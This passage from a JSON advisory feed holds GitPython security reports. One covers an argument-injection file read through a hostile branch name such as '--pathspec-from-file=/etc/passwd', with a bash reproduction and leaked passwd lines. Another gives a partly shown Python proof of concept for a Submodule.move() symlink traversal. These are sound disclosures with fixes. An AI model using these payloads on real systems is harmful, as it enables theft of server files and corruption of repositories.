upload-pack program is inert.\n\nReported by zx (GitHub: @manus-pi).","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2247"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-110859","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-23mf-xhv8-69c2","CVE-2026-110859"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)","details":"> **A note on the referenced files.** This report was submitted through GitHub's private\n> vulnerability reporting API, which carries no attachments. Every transcript this report leans\n> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n> to send the bundle by any channel you prefer, or to open a private fork — just say which. The\n> PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `<= 3.1.62` — all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |\n\n**On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior\nadvisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This\nreport asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the\napplication had to pass an attacker-influenced value into the API. Here it passes nothing — the\nclone materialises the hostile branch on its own and `repo.active_branch` returns it\n(`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real\nand lands at 6.5, matching the siblings.\n\n## Summary\n\n`Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own\npositional argument — the branch name — which reaches the `git checkout` argv with no `--`\nseparator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a\nconsumer that merely clones it and checks out the default branch return the entire contents of that\nfile to the caller.\n\nThis is the exact combination of two advisories the project already fixed:\n\n- **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *\"Arbitrary file read via `--pathspec-from-file` in\n  `IndexFile.remove()` **and `Head.checkout()`**\"*. Fixed in 3.1.58 by commit `f2550b65`, which added\n  the guard to this exact method — but only for `**kwargs`.\n- **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *\"`TagReference.create` positional reference\n  bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)\"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the\n  positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` —\n  but not to `git/refs/head.py:286`.\n\n`f2550b65` states in its own commit message that the audit found the positional variant and applied\nit to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit:\n\n> \"The audit also found that **reset's positional commit could carry the option before its argument\n> separator**. […] **Check reset's positional commit as well as keyword options**\"\n\n`HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it.\n\n## Affected Asset\n\n| | |\n|---|---|\n| Package | `GitPython` (PyPI) |\n| Affected versions | **`<= 3.1.62`** — all published releases |\n| Latest release tested | `3.1.62` |\n| Also present on | `main` @ `4905b4af` |\n| Vulnerable file | `git/refs/head.py` |\n| Guard | line 286 — `Git._option_candidates([], kwargs)` |\n| Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` |\n| CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) |\n| CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** |\n\nThe version range was established by **blob hash against every tag**, not by dates: the sink line\n`self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py`\nin every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`:\n`7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`.\n\nThe kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where \"incomplete fix\"\napplies; earlier releases have the same sink with no guard at all.\n\n## Vulnerability Details\n\n### Root cause\n\n`git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed:\n\n```python\n@classmethod\ndef _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:\n    \"\"\"Collect possible option spellings before command-line transformation.\"\"\"\n    options = [\n        option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith(\"-\")\n    ]\n```\n\nSo `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional\narguments this method puts on the command line.* That is fine when the method has no\nattacker-influenced positional, or when it separates them with `--`.\n\n`git/refs/head.py:283-293` — `Head.checkout()` has neither:\n\n```python\n        if not allow_unsafe_options:\n            Git.check_unsafe_options(\n                options=Git._option_candidates([], kwargs),\n                unsafe_options=Git.unsafe_git_pathspec_from_file_options,\n            )\n        kwargs[\"f\"] = force\n        if kwargs[\"f\"] is False:\n            kwargs.pop(\"f\")\n\n        self.repo.git.checkout(self, **kwargs)\n```\n\n`self` is the only positional. It serialises to the branch name, lands in the `git checkout` argv,\nand is not in the list the guard inspects. `_call_process` builds `args_list = opt_args + ext_args`,\nso keyword-derived options precede positionals — which is why the rest of the library puts `\"--\"`\nfirst (`Remote.fetch/pull/push`, `Repo._clone`, `Repo.archive`, `IndexFile.remove`, `Commit.count`\nall do). `Head.checkout` does not.\n\n### Why the branch name is attacker-controlled\n\nGit accepts a refname whose branch component begins with `-` and contains `/`\n(`raw/02-refname-accepted-and-cloned.txt`):\n\n```\n>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'\n    exit=0  stderr=''\n    => un refname que empieza con '-' y lleva '/' es VALIDO para git\n\n>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099\n    exit=0  stderr=''\n>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n    exit=0\n    HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd\n    ref en disco como arbol jerarquico: True\n\n>>> Repo.clone_from('file://<bare>', <victim>)   # la app solo clona\n    ramas LOCALES creadas por el clone, sin que nadie las pida:\n      refs/heads/--pathspec-from-file=/etc/passwd\n    repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n    coincide con el nombre hostil: True\n```\n\nThe transcript above also shows the second half: `git clone` **materialises that branch locally on\nits own** when the remote `HEAD` points at it — the consuming application never asks for it.\n\nA plain git server accepts the refname over `receive-pack`, with no `--force` and no special config\n(`raw/06-push-accepts-refname.txt`), so the attacker does not need filesystem access to a server —\na `git push` is enough. That measurement, and the clone in `raw/02`, both use the `file://`\ntransport, which exercises the same git wire protocol as `https://`; I did not test against a\nhosted forge, since that would mean writing to a third party.\n\n### Why the leak reaches the caller\n\nThe file contents are in `CommandError.__str__`, not only in the `.stderr` attribute\n(`git/exc.py`):\n\n```python\n        self.stderr = stderr_decode and \"\\n  stderr: '%s'\" % stderr_decode or \"\"\n\n    def __str__(self) -> str:\n        return (self._msg + \"\\n  cmdline: %s%s%s\") % (\n            self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,\n        )\n```\n\nSo `logging.exception(...)`, `print(e)`, or simply **not catching** the exception all disclose the\nfile. The developer does not have to know `.stderr` exists.\n\n### Full chain\n\n```\nRepo.clone_from(<attacker URL>)\n  ↓  remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd\n  ↓  git clone creates that LOCAL branch unasked\nrepo.active_branch                → Head with name = \"--pathspec-from-file=/etc/passwd\"\n  ↓\nHead.checkout()                   git/refs/head.py:286 — guard inspects kwargs only\n  ↓  self.repo.git.checkout(self, **kwargs)   git/refs/head.py:293 — no \"--\"\ngit checkout --pathspec-from-file=/etc/passwd\n  ↓  git emits one `error:` per unmatched pathspec — one per line of the file\nGitCommandError → CommandError.__str__ → the consumer\n```\n\n## Steps to Reproduce\n\nEnvironment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —\ntemporary repositories and the `file://` transport. No remote hosts, no third-party repositories.\n\nThe bundled `poc.sh` runs all seven scenarios as a single unit and writes `poc.log` plus one file per\nscenario under `raw/`. Minimal manual reproduction:\n\n```bash\npython3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62\n\nW=$(mktemp -d)\ngit init -q -b main \"$W/a\"; echo x > \"$W/a/f.txt\"\ngit -C \"$W/a\" add f.txt\ngit -C \"$W/a\" -c user.email=a@b -c user.name=a commit -qm c\ngit clone -q --bare \"$W/a\" \"$W/a.git\"\nSHA=$(git -C \"$W/a.git\" rev-parse HEAD)\n\n# the attacker names their default branch after the file they want\ngit -C \"$W/a.git\" update-ref   'refs/heads/--pathspec-from-file=/etc/passwd' \"$SHA\"\ngit -C \"$W/a.git\" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'\n\ncat > \"$W/consumer.py\" <<'PYEOF'\nimport logging, sys, git\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\ntry:\n    repo = git.Repo.clone_from(sys.argv[1], sys.argv[2])   # user-supplied URL\n    repo.active_branch.checkout()                          # ensure a clean working tree\nexcept git.exc.GitCommandError:\n    logging.exception(\"clone failed\")\nPYEOF\n\n/tmp/gp/bin/python \"$W/consumer.py\" \"file://$W/a.git\" \"$W/victim\"\n```\n\n### Raw Request\n\nThe real `git checkout` argv, captured by instrumenting `Git.execute` (`raw/01-real-argv.txt`).\nThis is the command GitPython actually built — the branch name became an option:\n\n```\n  argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']\n```\n\n### Raw Response\n\nObserved output (`raw/05-six-line-consumer.txt`, tail) — git emits one `error:` line per unmatched\npathspec, which is one per line of the target file:\n\n```\nerror: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git\nerror: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git\nerror: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git\nerror: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'\n```\n\n`raw/03-full-file-disclosure.txt` counts the recovery against the real file:\n\n```\nArchivo objetivo: /etc/passwd  (34 lineas no vacias)\n[CASO] repo.active_branch.checkout()  — nadie paso un nombre de rama\n  repo.active_branch.name = '--pathspec-from-file=/etc/passwd'\n  -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34\n```\n\n## Impact\n\nAn attacker who can get an application to clone a repository they control reads any file the\napplication's process can read, with the contents returned in band. `/etc/passwd` was recovered in\nfull (34 of 34 lines) in the run recorded in `poc.log`.\n\nThe attacker needs **no account and no privilege in the consuming application**, and no\nconfiguration change anywhere: `allow_unsafe_options=False` is the default, and the vulnerable\nconsumer is six lines of ordinary code. This is the central use case of the library — CI systems,\nrepository importers, scanners and bots that clone user-supplied URLs.\n\n### Impact precondition\n\n**Holds if:** the consuming application clones a repository whose default branch name the attacker\nchose, and then calls `Head.checkout()` on it — most commonly as `repo.active_branch.checkout()`,\nwhich needs no branch-name input from the application at all.\n\n**Source writer:** the attacker, via the remote repository's `HEAD` and refs. Verified two ways —\n`git update-ref` + `symbolic-ref` on a bare repository, and `git push` to a plain git server, which\n`receive-pack` accepts without `--force` or special configuration\n(`raw/02-refname-accepted-and-cloned.txt`, `raw/06-push-accepts-refname.txt`). The application never\nwrites the branch name; `git clone` materialises it.\n\n**Observed in:** `validation/gitpython/head-checkout-positional-pathspec/` — GitPython 3.1.62\n(latest release) with git 2.55.0, in the single run recorded in `poc.log`\n(2026-09-10T02:10:23-03:00). File read: `/etc/passwd`, 34 of 34 lines recovered by the caller.\n\n\n### Limits, stated plainly\n\n- Only the full long spelling works, because a refname cannot contain a space and is therefore a\n  single argv token; `git` rejects the abbreviated forms. This was established while developing the\n  payload and is **not** part of the attached run — the run exercises the working spelling only.\n- The attacker must know an absolute path to the target file.\n- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile\n  repository none of them do, so the attacker controls this condition too.\n- The full-file result was measured on **git 2.55.0**, where `git checkout` emits one `error:` per\n  unmatched pathspec. `GHSA-hh9p-6wh2-4mfc` notes that `--pathspec-from-file` alone quotes only the\n  first line — that holds for `git rm`, which aborts with `fatal:` on the first. It does not hold for\n  `git checkout` on 2.55.0.\n\n## Negative control\n\nFull statement of what each control isolates and what would invalidate it: `negative-controls.md`.\nEvery batch opens **and closes** with a positive control; if the closing one does not fire, the batch\nis discarded.\n\n**Positive control (opening and closing, 4 batches).** `Head.checkout(pathspec_from_file=\"/etc/passwd\")`\n— the same payload via kwargs. Fires in every batch:\n`UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it`.\nThis proves the guard exists, is active under the default, and recognises the option — so a null\nresult elsewhere cannot be the instrument failing to reach the code.\n\n**Negative control.** The identical call on a branch named `benigna`. One variable changes: the\nleading `-`. Result: `['git', 'checkout', 'benigna']`, no exception, 0 lines disclosed.\n\n**Precision control — the asymmetry inside one file** (`raw/04-precision-control-reset-vs-checkout.txt`).\nThe same payload against the two methods in `git/refs/head.py` that received the guard in the same\ncommit, 185 lines apart:\n\n```\n[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos\n  HEAD.reset(commit=PAYLOAD)  guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas  [OK]\n  Head.checkout()      guard NO mira el posicional     GitCommandError                                fuga=34 lineas  [OK]\n```\n\n`HEAD.reset` (`head.py:101`, `_option_candidates([commit], kwargs)`) blocks what `Head.checkout`\n(`head.py:286`, `_option_candidates([], kwargs)`) lets through. This rules out the alternative\nexplanation that any string containing `--pathspec-from-file` reaching git would disclose the file.\n\n## Remediation\n\nOne line, consistent with what `f2550b65` already did for `HEAD.reset` in this same file:\n\n```python\n                options=Git._option_candidates([self], kwargs),\n```\n\n**The other candidate was evaluated and rejected.** Writing\n`self.repo.git.checkout(\"--\", self, **kwargs)` would match the `--` pattern used elsewhere in the\nlibrary and would also cover future `git checkout` options — but it **changes the semantics and\nbreaks the method**: in `git checkout -- <arg>`, everything after `--` is a *pathspec*, not a branch.\nThe command would stop switching branches and start restoring files. The `--` pattern works for\n`fetch`/`pull`/`push`/`clone`/`archive`/`rm` because their positionals genuinely are non-branch\noperands; it does not transfer here.\n\nFor defence in depth, `Repo.create_head()` could reject branch names beginning with `-`, which would\nalso close the weaker `PR:L` path. That is a separate, optional change.\n\n## Prior art and de-duplication\n\nAll GitPython advisories in the GitHub database were reviewed —\n`gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate` returns **47**\n(the same command without `per_page` returns only the first page of 30). `Head.checkout` appears in\ntwo rows, one of which (`GHSA-w672-…`) is a withdrawn duplicate, leaving one substantive advisory:\n\n- **`GHSA-hh9p-6wh2-4mfc` / CVE-2026-76217** — same method, but the **kwargs** path\n  (`pathspec_from_file=…, pathspec_file_nul=True`), fixed in 3.1.58. That path is closed today; it is\n  the positive control in every batch of this report. The **positional** path is not covered by it.\n\nNeighbours, none overlapping:\n\n- **`GHSA-3wxw-xv34-2frg` / CVE-2026-78679** — the same **class** (positional bypasses a kwargs-only\n  guard) in a different method, `TagReference.create`, fixed in 3.1.59 by `1b0d2d9b`. That is the\n  patch that did not come back to `head.py:286`.\n- **`GHSA-956x-8gvw-wg5v` / CVE-2026-67323** — precedent for \"a value placed before the `--` with no\n  leading-dash check\", in `Repo.iter_commits` / `Repo.blame`. Those sites now pass their positional\n  to the guard; this one does not.\n- **`GHSA-7545-fcxq-7j24` / CVE-2026-44243** — path traversal via ref names in the reference APIs.\n  Different sink (filesystem path construction) and different impact (write and delete), but it\n  establishes that attacker-influenced ref names is a premise this project has already accepted.\n\n### No open fix proposal\n\nSearched across three surfaces, because `gh search issues` excludes pull requests: `gh search prs`,\n`gh search issues` and the raw `search/issues` API. **No open or closed issue or pull request\nproposes passing the positional to the guard in `Head.checkout`.** The three PRs that touch this\nguard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that\nintroduced *both* call sites in this file, one checking its positional and one not. Full matrix in\n`dup-check.md`.\n\n### The project's own tests carry the same asymmetry\n\n`test/test_refs.py` exercises the guard for both methods, and covers exactly the difference this\nreport is about:\n\n- `HEAD.reset` — the **positional** is tested (lines 304-308).\n- `Head.checkout` — only the **kwargs** path is tested (lines 282-291).\n\nSo the positional variant is a case the suite already knows how to write; it just was not written\nfor `checkout`. The docstring added by #2204 to `Head.checkout` states that `--pathspec-from-file`\nrequires opt-in via `allow_unsafe_options` — which is precisely the guarantee the positional path\ndoes not deliver. Nothing in the project declares the positional acceptable here.\n\n### Why the one-line fix works, which is not obvious\n\n`Reference.__str__` returns `self.name`, not `self.path`. `Reference.name` strips the first two\npath components (`reference.py:122-132`), so a `Head` constructed on\n`refs/heads/--pathspec-from-file=/etc/passwd` passes `check_path` — the *path* does begin with\n`refs/heads/` — while `str()` yields the bare option. Passing `[self]` to `_option_candidates` makes\nthe guard see that same serialised string, which is why the one-line change closes it.\n\n## Evidence\n\n| File | What it establishes |\n|---|---|\n| `poc.sh` | driver — runs all seven scenarios as one unit |\n| `poc.log` | full transcript of the single reference run |\n| `raw/00-versions-and-source.txt` | version under test is the published one; guard and sink present; `def checkout(` appears once, so the sink line is unambiguous |\n| `raw/01-real-argv.txt` | real `git checkout` argv, captured by instrumenting `Git.execute` |\n| `raw/02-refname-accepted-and-cloned.txt` | git accepts the refname; `Repo.clone_from` materialises it unasked |\n| `raw/03-full-file-disclosure.txt` | 34 of 34 lines of `/etc/passwd` recovered |\n| `raw/04-precision-control-reset-vs-checkout.txt` | `HEAD.reset` blocks what `Head.checkout` allows |\n| `raw/05-six-line-consumer.txt` | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught |\n| `raw/06-push-accepts-refname.txt` | a plain git server accepts the refname over `push` |\n| `raw/07-blob-version-sweep.txt` | affected range by blob hash, tag by tag |\n| `negative-controls.md` | what each control isolates and what would invalidate it |\n| `evidence.sha256` | integrity of every raw file and script |\n\n## Disclosure\n\nReported privately through GitHub private vulnerability reporting. No third-party systems were\ntouched: every repository in this report is a temporary local one, and all transport is `file://`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-23mf-xhv8-69c2"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2233"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8da65080849a56a2fc9f3e7817bbf0524e8397d5"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-110860","published":"2026-10-29T21:58:10Z","modified":"2026-10-29T21:58:10Z","upstream":["GHSA-gq48-pqfc-9p58","CVE-2026-110860"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.2.0","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree","details":"## Summary\n\nGitPython's public `Submodule.move()` API verifies that its destination is lexically inside the parent repository, but it does not reject symbolic links in the destination's intermediate components before filesystem operations. On systems that check out Git symlinks, an untrusted repository can therefore redirect a fixed, application-selected move destination outside the parent worktree.\n\nThe reporter reproduced this on the latest release, GitPython 3.1.62, and current `main`. In the strict scenario, the repository commits `vendor -> ../outside`, while the consuming application independently passes the fixed literal `vendor/module`. `Submodule.move()` follows `vendor`, moves the initialized submodule checkout to `outside/module`, rewrites `.gitmodules` and the index to the symlinked path, and leaves the index unable to produce a tree.\n\nThe same result occurs when the committed symlink contains an absolute path to an external directory. No attacker-controlled API argument, local symlink planting, race, Git hook, unsafe-option flag, or network access during the proof is required.\n\n## Trust boundary and preconditions\n\nThe attacker controls:\n\n- an untrusted Git repository that the application clones;\n- a mode-`120000` tracked symlink named `vendor`;\n- the initialized submodule's content.\n\nThe consuming application controls the call and uses a fixed layout rule:\n\n```python\nsubmodule.move(\"vendor/module\")\n```\n\nThe trigger requires the application to initialize the submodule and later call `Submodule.move()` with a path below the attacker-committed symlink. Ordinary clone or submodule update does not automatically make this call. Windows was not tested. The primitive applies where Git materializes the tracked entry as a real symlink; on Windows that generally requires `core.symlinks=true` with Developer Mode or sufficient privilege. Configurations that materialize it as an ordinary file do not take this path.\n\n## Product and directly verified revisions\n\n- Package: `GitPython` (`pip` ecosystem)\n- Latest release: 3.1.62, tag commit `db47516dac750c5968b8f6d388b18712c355df50`\n- Current `main`: `b62e91be897f687a622e40cd1e59c33dce45f124`\n- Relevant `git/objects/submodule/base.py` SHA-256 in both revisions: `a4355d49e0b75c7c7e74d33ac70ff9550f940c977848c99da40eb41e034b189c`\n- Upstream state rechecked: 2026-09-10 KST\n\nOnly these two revisions were directly tested.\n\n## Severity and weakness\n\nThe demonstrated impact is an integrity boundary violation: repository content selects an existing directory outside the worktree, and GitPython moves an attacker-influenced checkout into a missing or empty child path there with the victim process's permissions. It also removes the original checkout and corrupts the parent repository's index/configuration state.\n\nFor a downstream service that remotely accepts repositories and performs this exact layout operation with user involvement retained, `AV:N` gives a conditional application-level score of 7.1. A fully automatic service may warrant a different `UI` assessment. The library report uses `AV:L` because the vulnerable API call is a separate application action and is not part of GitPython's ordinary clone/update flow.\n\nNo confidentiality impact, code execution, overwrite of an existing file, or overwrite of a non-empty directory was demonstrated.\n\n## Reproducer\n\nThe following script creates only temporary local repositories and a self-generated canary. It passes `protocol.file.allow=always` separately with `-c` on each fixture Git invocation; that permission is process-scoped and is not persisted to global or repository configuration.\n\nRun it from a fresh source checkout:\n\n```bash\ngit clone --depth 1 --branch 3.1.62 https://github.com/gitpython-developers/GitPython.git\npython3 poc.py /path/to/GitPython\npython3 poc.py --absolute-link /path/to/GitPython\n```\n\n`--absolute-link` commits the temporary external directory's absolute path instead of `../outside`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Local-only reproducer for GitPython Submodule.move() symlink traversal.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom typing import Optional\n\n\ndef run_git(\n    *args: str, cwd: Optional[Path] = None, check: bool = True\n) -> subprocess.CompletedProcess:\n    command = [\n        \"git\",\n        \"-c\",\n        \"user.name=GitPython security fixture\",\n        \"-c\",\n        \"user.email=fixture@example.invalid\",\n        \"-c\",\n        \"protocol.file.allow=always\",\n        *args,\n    ]\n    return subprocess.run(command, cwd=cwd, check=check, text=True, capture_output=True)\n\n\ndef read_core_worktree(parent) -> str:\n    module_config = Path(parent.git_dir) / \"modules\" / \"logical-name\" / \"config\"\n    return parent.git.config(\"--file\", str(module_config), \"--get\", \"core.worktree\")\n\n\ndef read_gitmodules_path(parent) -> str:\n    modules_file = Path(parent.working_tree_dir) / \".gitmodules\"\n    return parent.git.config(\n        \"--file\", str(modules_file), \"--get\", \"submodule.logical-name.path\"\n    )\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"source_root\", type=Path, help=\"GitPython source checkout\")\n    parser.add_argument(\n        \"--absolute-link\",\n        action=\"store_true\",\n        help=(\n            \"Use the temporary external directory's absolute path as the committed \"\n            \"symlink target\"\n        ),\n    )\n    args = parser.parse_args()\n\n    source_root = args.source_root.resolve()\n    # The tested GitPython source trees include gitdb and smmap at their roots.\n    sys.path[:0] = [\n        str(source_root),\n        str(source_root / \"gitdb\"),\n        str(source_root / \"smmap\"),\n    ]\n    import gitdb  # pylint: disable=import-outside-toplevel\n    import smmap  # pylint: disable=import-outside-toplevel\n    from git import Repo  # pylint: disable=import-outside-toplevel\n\n    with tempfile.TemporaryDirectory(prefix=\"gitpython-move-poc-\") as temporary:\n        root = Path(temporary)\n        module_source = root / \"module-source\"\n        attacker = root / \"attacker-parent\"\n        victim = root / \"victim-parent\"\n        outside = root / \"outside\"\n\n        run_git(\"init\", \"--quiet\", str(module_source))\n        (module_source / \"SELF_GENERATED_CANARY.txt\").write_text(\n            \"SELF_GENERATED_CANARY\\n\", encoding=\"utf-8\"\n        )\n        run_git(\"add\", \"SELF_GENERATED_CANARY.txt\", cwd=module_source)\n        run_git(\"commit\", \"--quiet\", \"-m\", \"fixture\", cwd=module_source)\n\n        outside.mkdir()\n        run_git(\"init\", \"--quiet\", str(attacker))\n        run_git(\n            \"submodule\",\n            \"add\",\n            \"--quiet\",\n            \"--name\",\n            \"logical-name\",\n            str(module_source),\n            \"module\",\n            cwd=attacker,\n        )\n        link_target = str(outside.resolve()) if args.absolute_link else \"../outside\"\n        (attacker / \"vendor\").symlink_to(link_target, target_is_directory=True)\n        run_git(\"add\", \".gitmodules\", \"module\", \"vendor\", cwd=attacker)\n        run_git(\"commit\", \"--quiet\", \"-m\", \"attacker-controlled layout\", cwd=attacker)\n\n        run_git(\"clone\", \"--quiet\", str(attacker), str(victim))\n        run_git(\"submodule\", \"update\", \"--init\", \"--quiet\", cwd=victim)\n\n        parent = Repo(victim)\n        submodule = parent.submodule(\"logical-name\")\n        before = {\n            \"status\": parent.git.status(\"--porcelain\"),\n            \"write_tree\": parent.git.write_tree(),\n            \"vendor_index\": parent.git.ls_files(\"--stage\", \"vendor\"),\n            \"index_paths\": parent.git.ls_files().splitlines(),\n            \"gitmodules_path\": read_gitmodules_path(parent),\n            \"source_canary\": (victim / \"module\" / \"SELF_GENERATED_CANARY.txt\").exists(),\n            \"external_canary\": (\n                outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n            ).exists(),\n            \"module_core_worktree\": read_core_worktree(parent),\n        }\n\n        error = None\n        try:\n            submodule.move(\n                \"vendor/module\"\n            )  # Fixed application value; attacker does not control it.\n        # Capture the exact type and text so a patched rejection remains visible.\n        except Exception as exception:\n            error = {\"type\": type(exception).__name__, \"message\": str(exception)}\n\n        write_tree = None\n        write_tree_error = None\n        try:\n            write_tree = parent.git.write_tree()\n        except Exception as exception:\n            write_tree_error = {\n                \"type\": type(exception).__name__,\n                \"message\": str(exception),\n            }\n\n        result = {\n            \"imported_modules\": {\n                \"git\": str(Path(sys.modules[\"git\"].__file__).resolve()),\n                \"gitdb\": str(Path(gitdb.__file__).resolve()),\n                \"smmap\": str(Path(smmap.__file__).resolve()),\n            },\n            \"committed_symlink_target\": link_target,\n            \"before\": before,\n            \"call_error\": error,\n            \"after\": {\n                \"status\": parent.git.status(\"--porcelain\"),\n                \"source_canary\": (\n                    victim / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n                ).exists(),\n                \"external_canary\": (\n                    outside / \"module\" / \"SELF_GENERATED_CANARY.txt\"\n                ).exists(),\n                \"index_paths\": parent.git.ls_files().splitlines(),\n                \"gitmodules\": (victim / \".gitmodules\").read_text(encoding=\"utf-8\"),\n                \"gitmodules_path\": read_gitmodules_path(parent),\n                \"submodule_path\": submodule.path,\n                \"module_core_worktree\": read_core_worktree(parent),\n                \"write_tree\": write_tree,\n                \"write_tree_error\": write_tree_error,\n            },\n        }\n        